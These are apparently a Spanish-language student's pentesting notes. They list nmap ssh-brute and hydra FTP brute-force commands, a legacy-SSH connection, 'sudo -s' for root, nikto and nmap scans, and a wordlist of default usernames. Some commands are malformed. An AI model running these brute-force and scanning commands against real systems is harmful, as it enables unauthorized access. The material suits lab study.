hacer un atack con nmap y un dic	nmap -p 22 --script ssh-brute --script-args usrdb=passwords.txt,passdb=passwords.txt 10.0.2.6			
conectarse por ssh a un ssh antig	ssh -o HostKeyAlgorithms=+ssh-rsa user@192.168.5.7		*txt crear nombres de user*	
	msfadmin		msfadmin	
pasar a root	sudo -s		user	
para escanear un puerto 21 ftp	nmap -sV -p 21 192,168,1,0		postgres	
	hydra -l passwords.txt -P passwords.txt -t 4 ftp://192.168.1.14\n		service	
	nikto -h https://academy.seguridadcero.com.pe/		sysadmin	
			ubuntu	
			klog	
			admin	
			guest	
			root	
			test	
			backup	
			developer	
			operator	
			support	
			manager	
			default	
			anonymous	
			maintain	
			demo	
			administrator	
			superuser	
			engineer	
			qa	
			security	
			ftpuser	
			database	
			tester	
			devops	

				produser	
				ciuser	